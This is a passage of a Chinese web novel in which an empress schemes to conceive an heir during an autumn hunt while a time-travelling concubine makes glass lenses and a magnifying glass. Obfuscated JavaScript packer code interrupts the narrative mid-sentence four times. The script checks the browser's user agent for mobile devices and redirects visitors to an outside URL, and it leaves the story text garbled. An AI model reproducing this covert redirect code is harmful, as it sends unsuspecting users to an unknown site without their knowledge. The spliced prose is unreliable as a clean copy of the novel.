调换凤印并不难，难的是如何让皇上来到凤仪宫，毕竟眠云可以让她一举得男，却无法让她凭空怀孕。 按照祖宗留下的规矩，皇帝每月初一、十五两天要宿在皇后宫里，只不过当今皇上并不喜欢这条规矩，他已经许久没有在凤仪宫中过夜了，哪怕迫于规矩不得不在初一、十五的时候过来也只是走个过场，不到一刻钟就会离开。 不过眼下还真有一个契机。 近期天气凉爽，正是丰收的季节，每年一度的皇家围猎再过上三五天就要拉开帷幕，那时对于卢令仪来说，是个极好的机会。 41. 第3章 秋猎是每年皇家必备的活动，意在让皇室中人居安思危，只是到现在，秋猎已经演变成了一个纯粹的玩乐活动。 狩猎的猎场在京郊，自然不是所有妃嫔都能跟着过去的，除了皇后以外，每年跟随妃嫔的人选都会变化，总的来说，能被带上的妃嫔多少有几分倚仗。 卢令仪是个公正的皇后，虽说为了彰显皇上不耽于美色，伴驾的后宫妃嫔不得超过五人，但她还是尽量做到雨露均沾。 只是这次，她有些犯难。 宫中的妃嫔虽多，但位份高的并不多，其中位份仅在她之下的怡贵妃是大将军之女，又是跟着陛下多年的老人，每一年她都是必去的。 贵妃以下的妃位有四人，去年去了两个，剩下的两个今年怎么也要跟着，不然她这个做皇后的也不好交代。 可这么一来，再加上她自己，妃嫔就只剩下了最后一个人选。 这最后一人自然要皇上满意才好，妃嫔中丽嫔和新进宫的华贵人最受宠，而这两人……卢令仪比较倾向于带丽嫔。 丽嫔进宫已经三年，论资历比华贵人要深，而且她虽身世不显，却也是正经选秀入宫的，性格上丽嫔虽然不算忠厚，却也识抬举，不至于闹出什么事。 最重要的是，她要在猎场怀上孩子，想要达成这个目的，就不能带正值盛宠的华贵人。 卢令仪知道自己为何不讨皇上喜欢，除了她的性格以外，更多是容貌，色衰爱弛就连皇后也逃不过。 卢令仪生的很美，她年轻时是名动京城的美人，可她今年三十五岁，若是放在平常人家，三十五岁的年纪恐怕连孙子都有了，哪怕保养再得当，三十五岁的女人也不会有十六七岁的小姑娘惹人疼爱。 华贵人她没有接触过太多次，但从仅有的几次接触看来，华贵人虽出自民间，却应该也是父母娇养的小女儿，受不得委屈，这样的人入宫后难免会有失体统。 卢令仪将名册拟好，派人给皇上送过去，每年秋猎的伴驾人选都是由她来决定，再呈给皇上。 过了一会儿，太监将名册又送了回来，并叮嘱卢令仪一定要看，卢令仪心里咯噔一下，暗道不好，她连忙翻开名册，却发现原本只有五个名字的名册又多了一个，而在她自己的名字下方，却有着一个不起眼的红点。 卢令仪顿时如坠冰窖，她知道，那个红点是皇上用来警告她的，毕竟皇上在写华贵人名字的时候用的是正常的黑色笔迹，而在皇宫，只有划去某人名字的时候，才会用红色笔迹。 “云云，这个世界好无聊啊。”将御花园逛了个遍的花花滩在一块大石头上，远远看过去就像一张猫饼“对了云云，那个皇后娘娘许了什么愿望啊？” “孩子，”眠云把花花抱起来，浅笑道“显然，她虽然做了很多年皇后，但她对皇帝并不算了解。” “啊？为什么啊？”花花有些不理解“皇后娘娘看起来很聪明，而且她和皇帝一起度过了很多年，用人类的话来说，他们应当算是患难夫妻了吧？” “因为有些人可共苦却不能同甘，皇帝就是这样的人，”眠云笑了笑“对于他来说，登基以前，包括刚刚登基朝堂形势不稳，不能随心所欲的时候都是隐忍，现在的他才是真实的，不加掩饰的他，可惜皇后没能明白这个道理，或者说她太把皇上当皇上看了。” “云云，什么叫太把皇上当皇上看了呀？”听眠云这么一说，花花更不理解了“皇上不就是皇上吗？难道要不把皇上当皇上看才是好事？” “千人千面，每个人都有自己的个性和习惯，若只从身份这个角度来考量，那就太狭隘了。”眠云表情不变，用通俗易懂的话给花花解释。 “举一个最简单的例子吧，如果按照标准要求，皇帝对后宫雨露均沾是最好的，一来这样妃嫔怀孕的可能性更大，二来每个人的宠爱都差不多，也不易起冲突，可皇帝总是各有各的喜好，还真没有多少皇帝能做到雨露均沾的。” “我明白了！”花花恍然大悟“也就是说理论是理论，实际是实际，理论是一种完美状态，可哪怕是皇帝，也达不到完美。” “就是这样，”眠云笑着摸了摸花花的脑袋“皇后娘娘是很聪明，可聪明反被聪明误，她太把皇帝圈在皇帝这个身份的框架里，反而忽略了，在她身边的那个人，也不过是千千万万普通人中的一个而已。” “那皇帝是个什么样的人啊？”花花歪了歪脑袋，它还没有看破人心的本事“我感觉他好像有点儿……嗯……奇怪？” “一个不怎么样的人，”眠云没有明说，只道“不仅是在男女之情上不怎么样，而是方方面面都不怎么样。” 花花仍旧不太明白，眠云却也没再说什么，只说它以后就知道了。 * 转眼之间，已经到了秋猎的日子，皇上带着几位后宫妃嫔来到了皇家猎场，六位妃嫔中，唯有丽嫔和华贵人身着骑装，看来这两人是打算亲自参与狩猎了。 “华贵人好像不会骑马啊，”到了猎场，丽嫔看着刘烨笨手笨脚的动作，捂嘴轻笑“华贵人为了皇上的青睐也太拼了些，这骑射可不是一下子就能会的，要是一不小心跌了下来，岂不是贻笑大方？” “不劳丽嫔娘娘费心，”刘烨听到丽嫔阴阳怪气的话，在心里默默翻了个白眼，她不想来，但老皇帝非要她来，她又有什么办法？“生死有命富贵在天，若是我不小心死了，就是我自己命不好，不关丽嫔娘娘的事。” 丽嫔被刘烨的颓丧态度惊呆，一时竟也找不出什么反驳的话，毕竟人家连死都考虑到了，她还有什么可说的？ 就在这时，一个侍女恭敬的端着托盘走过来，丽嫔从托盘上拿了一个轻薄的玉片，刘烨不明所以也跟着拿了一个，她以为这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978372|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是入场凭证之类的，所以就一直捏在手里，没想到还没等她做什么，就又听到了丽嫔的嘲笑。 “妹妹恐怕没见过这物件吧？”丽嫔将那玉片放在自己眼前道“用这个看远处的东西就能看的清楚了。” “这个？”刘烨把玉片拿起来，刚才她没注意到，这玉片中央竟有一个小孔“这不就是小孔成像吗？” “什么？”丽嫔没听懂刘烨在说什么，但她也只当刘烨是在装疯卖傻，毕竟平日里刘烨就奇奇怪怪的，总说着些不着边际的话。 “没事。”刘烨的注意力已经完全被这古代的科学产物吸引，她心里有了一个大胆的想法，接下来的时间无论丽嫔说什么她都不答，丽嫔讨了个没趣，久而久之也不想再说话了。 另一边，卢令仪命女官赶制的衣服终于完工，那衣裳并不华丽，或者说与皇后的身份不太相符，可皇后却仍旧选择穿上了它。 “娘娘，您今日这般打扮与往日不同，皇上见了一定会喜欢的。” 卢令仪对待下人宽厚，身边的宫女也能和她打趣几句，以往卢令仪的衣着多以红、黄、紫等正色为主，这种清丽的水蓝色衣裳，宫女还从未见她穿过。 “这是我未出阁之前最喜欢的一件衣服，衣服的图样我至今还留着。”卢令仪看着镜中的自己，眼里闪过怀念“可惜了，如今再穿，竟变了一幅模样。” 纵使卢令仪依旧很美，可她终究不是年轻的小姑娘了，年轻时不觉得有什么，老了以后才发现，年轻时那种鲜活的生命力真的吸引人。 秋猎场除了狩猎，也有温泉，实际上温泉比狩猎更得女子的喜爱，毕竟不是所有人都会骑射的。 皇上年轻时更喜欢猎场，但年纪大了以后他更喜欢在温泉休憩，毕竟人老了，精神也没有那么足了，自然不太喜欢运动。 卢令仪穿着一席浅蓝色纱裙，头发也梳成了未出阁时的模样，她和皇上算是青梅竹马，但凡皇上挂念些旧情，她的目的就达到了。 “皇后啊，”听到卢令仪过来的消息，皇上并未多言，只是仍旧在温泉闭目养神，直到卢令仪过来，他才有些诧异的看了她一眼“今日怎么做这般打扮，瞧着倒是素雅了些。” “年少时的旧衣，如今也算怀念。”卢令仪一改往日庄重肃穆的模样，笑着替皇上斟了酒“如今看着这些年轻妹妹，臣妾好像也跟着年轻了些。” “是啊，”皇上看了一眼端庄漂亮的卢令仪，心中一动，伸手握住她的手“我们都老了。” “陛下，”卢令仪声音柔美，脸颊绯红“这……有失体统。” “你我二人是夫妻，”皇上稍微一用力，将卢令仪拉入温泉之中“夫君与妻子共浴，有何不妥？” 接下来的的事便是水到渠成，卢令仪知道，这次过后，她会拥有一个孩子，而这个孩子，将会是她日后立足的根本。 42. 第4章 三个月后，皇后有孕，这件事让整个后宫乃至前朝都欣喜不已，毕竟陛下只有一个皇子，且大皇子病弱，能不能活到成年都是个问题，若此次皇后顺利诞下男胎，那就是名正言顺的嫡长子，太子之位几乎是板上钉钉的事。 “娘娘，”凤仪宫的宫女喜气洋洋的回禀“陛下说晚间要同您一起用晚膳，自从娘娘有了小皇子以后，陛下都来的勤了呢。” “还不知道是男是女，莫要如此张扬。”卢令仪嘴上虽然说着小宫女，眼里却有着笑意，因为她知道，这一胎一定会是男孩。 “娘娘，”一个年轻面白的小太监走进来，脸上陪着笑道“陛下特地遣奴才来问娘娘今日身体可好，若娘娘身体不适，太医院的王太医随时都候着呢。” “有劳公公了，”卢令仪面色舒展了几分，她知道这个太监是皇上跟前得用的大太监，皇上对这个孩子如此上心，她心里也舒服了些。“王太医今日已经为本宫请过平安脉，孩子并无不妥，还请皇上安心。” “哎呦喂，娘娘您身体大安，不仅皇上放心，就连我们这些当奴才的也跟着高兴。”小太监显然很会说话，可再会说话的人，也总得说出目的“今儿前朝事多，皇上接见了好几位大人，晚膳就不在娘娘这儿用了，皇上特地交代了，娘娘想吃什么就让御膳房去做，奴才们要是伺候不周，娘娘您尽管告诉皇上，万不能让娘娘忧心。” “好了，”卢令仪嘴角的笑意一点一点消失，不用脑袋想，她都知道皇上只是找个借口不过来“有劳公公过来通传，皇上日理万机，何须为些小事而烦心，本宫自会照顾好孩子，不让陛下忧心的。” 过来通传的小太监松了一口气，他大抵也觉得尴尬，说了几句吉祥话后便头也不回的快步离开。 “娘娘，”卢令仪身边的宫女担忧的看着她“您莫要伤心，陛下他……” “行了，”卢令仪笑着摇头“不过是一点小事，也值得你们如此垂头丧气，皇上忙碌，临时有事也是正常的，作为皇后，因为这种事而失落，岂不是小家子做派？” 接下来的一段时间，皇上并未因为失约而愧疚，相反的，他失约的时候越来越多，一个月的时间只来了两三次，这对于一个正值孕期的皇后而言，无疑是伤了她的颜面。 “娘娘，”一个宫女匆匆走进来却不肯说话，直到卢令仪遣散身边伺候的宫女，她才开口说道“是华贵人。” “怎么回事？”卢令仪伸手抚摸着微微隆起的肚子，“皇上将华贵人带回来已有半年，按照以往的情况看，皇上也该腻了，怎么最近反而更喜欢往华贵人那里跑了？” “那华贵人会些奇技淫巧，竟制出了如水般清澈的琉璃！”宫女显然对此愤愤不平，咬牙切齿的说道“陛下看了以后大为喜爱，最近总喜欢去华贵人那里，还说华贵人不同于旁的女子，是有大智慧的人。” “哦？”卢令仪扬眉，自古琉璃都是有颜色的，她倒是没想到华贵人有这般本事，能制出如水般清透的琉璃。 “不过是些精巧玩物而已，陛下一时新奇就多上心了些。”宫女显然没把这透明琉璃放在心上，她反而开始劝慰起卢令仪“皇后娘娘，您育有龙嗣，于江山社稷有功，可千万不要因为这等小事气坏了身子。” “放心，”卢令仪笑了笑“我哪里是那么小气的人，不过……那华贵人确实应该敲打敲打，她本就出身贫寒，如今又是盛宠，怕是容易忘了本分，生了不该有的心思。” 对于卢令仪来说，下面的妃嫔犹如御花园里的花，年年都有新花，也年年有花枯死，可她作为皇后的威严不能丢，因为她不仅代表着她自己，更代表着卢氏满门的荣耀。 * “华贵人近日可安？”卢令仪坐在主位，脸上挂着不轻不重的笑容，她垂首俯视着下方行礼的女子“华贵人这礼行的倒是比以前好看了不少，看来到底是年轻人，学东西都比旁人快些。” “回皇后娘娘，”刘烨有些尴尬，她根本不知道该说什么，只好硬着头皮答道“臣妾近日安康，听闻娘娘有孕在身，不知娘娘身子可好？” “哼！”丽嫔冷哼一声，因为刘烨最近受宠，她被皇上冷落了很多，心里自然不舒服“有些人啊，趁着皇后娘娘怀孕的时候争宠，这良心都已经烂透了，还假模假样的过来问皇后娘娘身体好不好，哼！” 刘烨这下子更尴尬了，自从在猎场看到那个粗糙的青玉镜之后，她就想用透光的玻璃做出真正的望远镜，没想到玻璃做出来，皇帝却很感兴趣，一连待在她那里好几天，把怀孕的皇后都抛在了脑后。 “抱歉……请皇后娘娘恕罪，”刘烨不知道该怎么办，只好先道个歉“如果下次陛下再去我那里，我一定会规劝陛下的。” 其实前几次她也试过要把皇帝赶走，毕竟她还挺烦那个自恋大叔的，但为了她的小命着想，她也不可能做的太明显，万一皇帝一个不高兴把她杀了怎么办？ “哼！” 虽然刘烨的认错态度很好，但丽嫔可不吃刘烨这一套，她只觉得对方在暗戳戳炫耀自己得宠，就连坐在主位的卢令仪听到刘烨这么说也忍不住皱了皱眉头。 “华贵人，”卢令仪淡淡开口“听说你造出了清透如水的琉璃，这可是大功一件，你想要什么，尽管开口吧。” “不敢，不敢。”刘烨连忙摆手，她可不敢收这要命钱“臣妾不过是做了些小东西自娱自乐，万不敢收皇后娘娘的东西。” “这样吧，”卢令仪放下茶杯“既然华贵人不要赏赐，那不如就陪我去御花园内逛逛，华贵人整日闷在屋子里，今日也算出去散散心，如何？” “臣妾遵旨。”刘烨知道，卢令仪叫她大概就相当于初高中的班主任谈心，但没办法，她没有拒绝的权利，就只能答应了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983063|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一出宫门，刘烨就被漫天的风雪扑了一脸，现在已经到了每年天气最冷的时候，哪怕御花园里也只有梅花在开，刘烨苦着脸尽量裹紧自己身上的衣服，跟在卢令仪后面。 “华贵人，”卢令仪的声音像是夹杂着风雪“本宫临时有事，你在此等候片刻。” “啊……臣妾遵旨。”刘烨刚回过神来，就听到卢令仪撂下这句话，她本能应下，却在答应以后才反应过来自己说了什么。“那个……皇后娘娘您……”什么时候回来？ 还没等刘烨说完话，卢令仪便自顾自的离开，刘烨苦着脸在风雪里站着，只要她一动就有嬷嬷过来，直到天黑她才回到了自己所在的华音宫。 第二天，刘烨不出意料的发起了高烧，卢令仪顺势以病体如何能伺候皇上的理由撤去了华贵人的牌子。 刘烨在外面冻了大半天，病的自然不轻，这个时代的医疗水平也很堪忧，幸好她身体素质还算不错，半个月后总算勉强恢复了过来。 “华贵人啊，”刘烨刚刚好起来，皇上就过来和她一起用膳，“朕瞧着你不喜寒，冬日很少在外行走，怎么会忽然染了风寒呢？” “咳咳！”刘烨差点儿被呛到，时至今日她就算再傻，也知道皇后是在故意整她了“臣妾赏雪，一时忘了时间，还请陛下恕罪。” “怎么这么不小心，”皇上笑着说道“这次风寒严重，华贵人可是受罪了，不然朕给你些奖赏补一补？” “没罪，啊，不是，没受罪。”刘烨一边咳，一边摆手拒绝，她真的不想和皇帝说话，毕竟说不好可是要掉脑袋的。 “晚了。”见刘烨这副模样，皇帝笑容更深，他挥手示意身后的太监，只见太监捧出一卷明黄色的圣旨开始宣读。 “奉天承运，皇帝诏曰，华音宫贵人刘氏，性情柔婉，敬慎持躬，侍上行德。念其侍奉有功，特晋升为嫔，钦此！” “谢皇上，”刘烨不太想谢，但也没办法“皇上万岁万岁万万岁。” “行了，起来吧。”皇上饶有兴趣的看着一脸假笑的刘烨，慢悠悠的开口“华嫔啊，朕怎么觉得你不太高兴呢。” “陛下多虑了，臣妾高兴到不知道该说什么好了。” 刘烨确实不太高兴，因为她感觉她被卷入到两个大佬的纷争之中了。 她能看得出来，皇后这次罚她，不是对她本身有什么敌意，而是在借机敲山震虎，暗示皇上不应该总来她这里。 但皇上毕竟是皇上，他怎么可能容忍旁人忤逆他，所以这次她病好了以后，皇上就立刻抬了她的位份，说是要安慰她，实际上是在对皇后表达不满。 这两个人其实都对对方不太满意，又没办法换个老公/妻子，只能用这种貌似和平的方式暗中过招，而她则是看似宠妃的炮灰一枚，不知道哪天就会被推出去，这样的情况下，她要是高兴得起来才怪呢。 43. 第5章 华贵人封嫔的消息很快传遍了后宫，当今皇上对给妃嫔晋升并不热衷，华贵人无子无女，进宫不到半年，就凭借皇上的宠爱晋升到了嫔位，一时间风头无二。 刘烨自己倒没什么感觉，毕竟她对名贵的珠宝布料没有执念，更不是什么社交达人，她始终觉得，她不属于这里，只有回到现代，她才算回家了。 另一边，卢令仪听着手下人的回禀，默默放下了茶杯，她并没有多少愤怒的情绪，相反的，她很冷静，这次的事让她意识到，她应该重新考虑华嫔在皇上眼中的地位了。 “娘娘，”卢令仪身边的小宫女露出愤愤之色，看到卢令仪如此沉默，她又殷勤的拿了一碟茶点“娘娘，您吃些东西吧，别为些小事气坏了身子。” “没事，”卢令仪仍旧沉默着，或者说她一直在思考“没想到，我们的陛下也有专宠一人的心思。” 以前虽然也有妃嫔在一段时间内独得恩宠，但仅仅因为宠而被晋升的妃嫔却几乎没有，华嫔打破了以往的惯例，或许她真的不该小瞧了华嫔。 “娘娘……”宫女自然是担忧的，她在宫中多年，第一次见到皇后娘娘这般神情。 “别怕，”卢令仪笑了笑“只要卢氏不倒，陛下就不会废了我，只要我还是皇后，华嫔再受宠，也没有越过我的道理。” “那是自然，”小宫女点头，也露出了些许笑容“皇后娘娘是后宫的主子，华嫔不过是个随时可以被取代的妃妾，再过几年，兴许陛下都忘了华嫔是谁了。” 接下来的几个月，卢令仪安心养胎，后宫一下子安静了下来，刘烨一开始还在琢磨如何做望远镜，后来却由于动手能力不足，只做出了一个具有放大功能的放大镜，虽不算什么伟大的发明，却也颇为新奇。 “娘娘，这个……放大镜，真好玩儿。”小宫女拿着一个刘烨自制的手持放大镜笑道“若是拿给做首饰的工匠，他们定会方便许多。” 这个时代也有许多精细的工艺，做这种精细工艺的匠人因为用眼过度，反而很容易近视，有了放大镜，他们做微小手工艺品的时候也能看清，确实会很方便。 “这个东西加工起来很简单，成本怎么样？”刘烨心中一动，若是能将放大镜推广开，也是好事一桩。 “这……”小宫女有些为难“将水琉璃做成这样的圆片倒是比普通的琉璃器还容易些，只是琉璃价高，只有富庶人家才用的起，如果要给匠人用的话，恐怕只有皇宫和一些高官家养的匠人才能用吧。” “这个放大镜可以用很久，只要不用外力打碎，它是不会坏的。”刘烨仍是不死心的询问“如果租赁呢？比如将这个租给匠人，每年收取一定费用。” “租赁的话，确实价格会低一些，”小宫女想了一会儿“但恐怕也不是所有匠人都能用的起的，毕竟士农工商，很多匠人做活不过是赚个辛苦钱，多一点儿钱也攒不下，更别说额外支出一笔钱用来租赁放大镜了。” 刘烨心情有几分失落，但她还是决定求一求皇帝，帮忙把放大镜的推广出去，毕竟民间有那么多能人，万一有人发明出了望远镜甚至显微镜，岂不是大功一件？ “陛下呢？”心里打定了主意之后，刘烨主动开口问道“陛下今日可会前来用膳？” “娘娘，近几日皇后娘娘即将产子，陛下一直在凤仪宫那边，”宫女小心翼翼的说道“娘娘放心，娘娘现在还年轻，以后定会有自己的孩子。” 快生了吗？ 刘烨一愣，仔细算算日子，的确差不多十个月了。 这个年代女人生孩子难度不亚于闯鬼门关，虽然她和皇后关系算不上好，但她还是希望皇后能平平安安生下孩子，不要再添一桩悲剧了。 刘烨不知道的是，此时此刻，她所担心的事正在发生，凤仪宫中太医、产婆、宫女忙成一团，就连久不见人影的太后都过来了，只为迎接这尚未出世却极有可能是嫡长子的孩子。 “母后，”正在外殿等候的皇帝神色淡淡，脸上看不清喜怒，在太后过来的时候，他起身将太后扶到上座。“您放心，太医们都看着呢，出不了什么岔子。” “生孩子可是大事，这我怎能不急！”太后是真的很焦虑，按照礼法，她是皇后的婆婆，可按照血缘关系，她是皇后的亲姑母，如今皇后产子，她自然担心的不得了。 “儿臣知母后心系皇后，但也无需太过忧心。”皇上的表情依旧是不冷不热，他和太后并非亲生母子，关系并不亲厚，两人平日里相互留些面子，也就这样相处了多年。 太后深知皇上的本性，她闭口不言，只是用手指捻着佛珠，在心里为自己的侄女念佛。 许是因为眠云承诺过这一胎会是一个健康的男孩，卢令仪并没有受多少罪就生下了这个孩子，在得知是个小皇子以后，太后激动的直念佛，就连一直板着脸的皇上也流露出些许笑脸。 “大喜，大喜啊！”接生嬷嬷抱出用襁褓包着的婴儿，“母子平安，是个健康的小皇子。” “好，好！”太后满脸喜色的吩咐给接生嬷嬷赏钱，这么一会儿，她已经开始想百日宴要如何办了。 按照惯例，皇子的百日宴并不会宴请群臣，但皇后娘娘所出的二皇子是未来最有可能继承大统的存在，百日宴盛大些倒也不奇怪。 百日宴上，身体已经恢复差不多的卢令仪端庄的坐在上位，脸上带着和善的笑容，倒是皇帝一直都没什么笑意，只在卢令仪同他说话时偶尔应和几句。 作为皇帝的妃子之一，刘烨自然也参加了这场宴会，只能说很难用奢侈或享受来形容，这种权利意义明显的宴会谁都不是来吃饭的，饭菜虽然好吃，但吃进嘴里还真让人有点儿食不知味。 宴会过半，宴会的主角都已经离开，刘烨也找了个借口溜走，穿越到古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987273|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代已经这么久了，她还没有找到回现代的方法，难道真的要她死了才能回去，或者她这辈子都回不去了？ “娘娘，”刘烨身边的小宫女观察着她的神情，小心翼翼的说道“娘娘，最近皇后娘娘产子，陛下才没顾得上您，陛下心中定然是有娘娘的。” 刘烨一愣，她确实有大半个月都不曾见到皇上了，只是她对皇上向来不感兴趣，所以才没有注意。 看到小宫女如此担心，刘烨有心说两句安慰的话，转念一想她又无法辩解，毕竟宫里的女人说不想要皇帝的宠爱实在太假了。 “你知道放大镜可以点火吗？”刘烨想了半天也没想到什么有用的安慰方法，她只好硬着头皮转移话题。 “啊？”小宫女张大嘴巴，显然是没跟上刘烨的脑回路“奴……奴婢不知？” “科学是很神奇的！”刘烨郑重其事，她找来些枯枝烂叶，又左右瞧了瞧，找了一块靠近水边还很隐蔽的大石头，拿出放大镜道“今天我就给你变个魔……戏法。” 小宫女其实年纪也不大，正是好奇心重的时候，以她的年纪，若没有入宫当宫女，恐怕还会和小伙伴们一起在路边玩儿泥巴，看到刘烨说的信誓旦旦，她也被说动了，两人一起蹲在石头边，看着干枯的书叶一点一点燃烧起来。 “真的烧起来了！”小宫女很是惊奇，她摸了摸放大镜，疑惑的说道“奇怪，这放大镜上也没有火种，为什么能引燃树叶呢？” “这个啊，”刘烨随手将火扑灭，笑眯眯的解释道“是因为温度，阳光是有温度的，而放大镜可以将阳光的温度聚集到一点，当这一点的温度足够高的时候，自然就燃烧起来了。” “这也太神奇了！” “是啊，”刘烨点头“科学很有趣吧？” 刘烨刚说完话，就意识到了不对劲，刚刚说神奇的好像不是一直跟着她的宫女，而是一道清朗的少年音啊？！ “大胆！你是何人？！”小宫女立马冲到刘烨面前，用母鸡护小鸡的姿态将刘烨挡在身后，她怒视着少年，大声呵斥道“见了娘娘还不跪下！” “不至于，不至于。”刘烨连忙摆手，穿越到这里这么久，她还是没习惯这动不动就给人下跪的规矩。“小……孩，你是哪里跑出来的，怎么躲到这儿来了？” 听到刘烨这么说，宫女和少年表情都有些怪异，毕竟那少年大约十六七岁，看着没比刘烨小多少，无论如何也称不上孩子吧？ 刘烨可不知道这两人在想什么，她觉得自己在现代是大学生，那少年顶多算是个高中生，叫一句小孩也没什么。 “你该不会……”刘烨上下打量着少年，这少年衣着简朴，小麦色皮肤，怎么也不像是富贵人家的孩子，倒像是个侍从的模样“该不会是躲在这儿偷懒呢吧？” 毕竟无论什么年代，打工人总是喜欢摸鱼的，她这么猜测，倒也没错。 44. 第6章 “被发现了，”少年挠了挠头，有些难为情的说道“娘娘，你能不能不要告诉别人啊，要是被主子发现了我在这儿躲懒的话，我会挨罚的。” “行了，”刘烨摆摆手，她本来就没想告密“刚才说神奇的那个人是你？” “是我呀，”少年眼角眉梢都带着好奇“娘娘，你的意思是说，只要温度足够高，哪怕没有火种，也能将树叶燃烧起来吗？” “是啊，”刘烨点头“我刚刚做的实验不就证明了这一点吗？” “娘娘真是有大智慧的人，”少年拍了一句马屁，随后又小心翼翼的问道“那个……娘娘，你的放大镜能不能借我玩儿……看看？” “你小心点儿，”刘烨忍俊不禁，这么大的孩子正是爱玩儿的时候，也难怪这少年会主动出来“这东西是琉璃做的，容易碎，而且引燃的火也要及时扑灭，万一真烧了御花园，你有多少脑袋也不够砍。” 少年忙不迭的点头，他学着刘烨的样子找来了几片干树叶，用放大镜聚集阳光，当树叶燃烧起来的时候，他的眼睛一下子就亮了。 “好了，”刘烨过来把火扑灭“别偷懒太长时间，要是被你主子发现了，可没你好果子吃。” 这个时代的仆从过的舒不舒服主要取决于主子的宽容程度，若主子不计较，仆从就会宽松很多，若主子是个较真甚至严苛的人，仆从犯了错可是要被打板子的。 少年一拍脑袋，总算想起来那个被自己忘到天边去的主子，他急匆匆的和刘烨二人告别，生怕被人逮到错处，蹑手蹑脚的挤到人堆里去了。 这孩子……还挺活泼的。 “这人怎么这么不中用啊？”小宫女显然和刘烨持不同意见“主子还在呢，他就到处跑，主子身边连个服侍的人都找不着，这样做奴仆岂不是不忠？” “忠这个字对于每月最多二两月钱的仆从来说太重了，”刘烨收敛了笑容，看向身边的宫女“青禾，你记得，若是未来宫中真的发生了什么需要各自逃命的事，你无需管我，自己拼命往外跑就好，这个时候没有什么主子不主子的，保住自己的命最重要。” “娘娘……”宫女惊讶的看着刘烨，旁的主子都希望做奴婢的越忠诚越好，她伺候的这个娘娘还真是不走寻常路，危机时刻不仅不强调奴婢要忠心护主，反而让她自己跑。 “这么看我做什么？”刘烨笑了笑“其实也不用太担心，因为发生这种事的概率很小，而且我还不一定能活到发生这件事的时候呢。” “娘娘，”宫女心中有些不舒服，这句话刘烨虽然是笑着说的，但她感觉刘烨并没有在开玩笑“奴婢一直跟着娘娘……” “千万别，”刘烨连忙摆手“如果你还信我，就听我一句劝，等到了年纪之后，立刻出宫，去江南一带的小村落生活，这样运气好的话，说不定还能顺利活到老。” 刘烨穿越之前不是学渣，但她一个英语专业的学生，要让她精通历史，那就有点儿困难了。 她知道的历史顶多是高中课堂上讲的那些，可高中的历史课也不会仔细到每一个皇帝都讲。 想到这儿，刘烨不知道该不该庆幸，她穿越的这个朝代，这个皇帝，她是有印象的，历史书上讲过，寥寥几语，概括了这个亡国之君的一生。 他是这个王朝的最后一任皇帝，年轻时还算贤明，老了以后昏庸，被起义军推翻，自己也死在了战场上。 不过那都是以后的事，毕竟皇帝好像在他六十岁的时候才被推翻，那个时候她活没活着都不一定呢，想那么多事也没用。 “江南那边富庶，且不容易被战火波及，”刘烨努力回想着脑子里的历史知识“如果可以的话，到那里去吧。” 她记得当时的起义军是在北方起义，由北向南打，等打到江南一带的时候起义军基本已经收复了整个王朝，江南一带没怎么打就直接归顺了，这对不想送命的百姓来说，也算是一件好事。 “好，”见刘烨说的如此郑重其事，宫女点头道“奴婢听娘娘的。” “如果你有家人的话，记得把家人也接过去，”刘烨眼中出现了些许惆怅，她穿越这么久，不知道她的家人都怎么样了“一家人置办些田宅，若是银钱不够的话，我可以先给你些。” 因为江南很少被战火波及，所以在征战后期成了富人的避难所，地价寸土寸金，现在买些地，未来有不少升值空间，这么想想还挺划算的。 “娘娘真是心善，”一听到有钱拿，小宫女顿时高兴了起来“我要在宫里伺候娘娘一辈子！” “千万不要，”刘烨神情严肃“听着，给人当奴婢不是什么好事，宫中局势瞬息万变，我无法保证一定能护得住你，你自己多攒着钱出宫去才是正事。” “娘娘……”宫女被刘烨忽然变脸给吓了一跳，她有些局促的说道“娘娘……也想家了吗？” 家？ 刘烨一阵恍惚，随后便是苦笑，她想回家，可回不去了，不仅回不去，她现在连自己去哪儿都无法掌握，或许等到皇帝被推翻的时候，和众多妃嫔一起被杀，才是她最终的结局吧。 “我回不去家了，”刘烨深吸一口气“但我想做点儿什么，哪怕只是一点很小的事。” “娘娘已经很厉害了！”宫女看出了刘烨心情不佳，变着法子的夸她“放大镜不就是娘娘做出来的吗？娘娘懂好多奴婢不知道的事。” “发明放大镜的人可不是我，”刘烨笑着摇了摇头“我只是……” 她只是将现代人习以为常的知识带到了古代，古人不明白其原理，便觉得新奇罢了。 “对了！” 刘烨忽然想到，虽然她的知识放在现代不算渊博，但放在古代却有很多先进的地方，她可以尽量把脑中的知识总结出来，哪怕以现在的认知很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 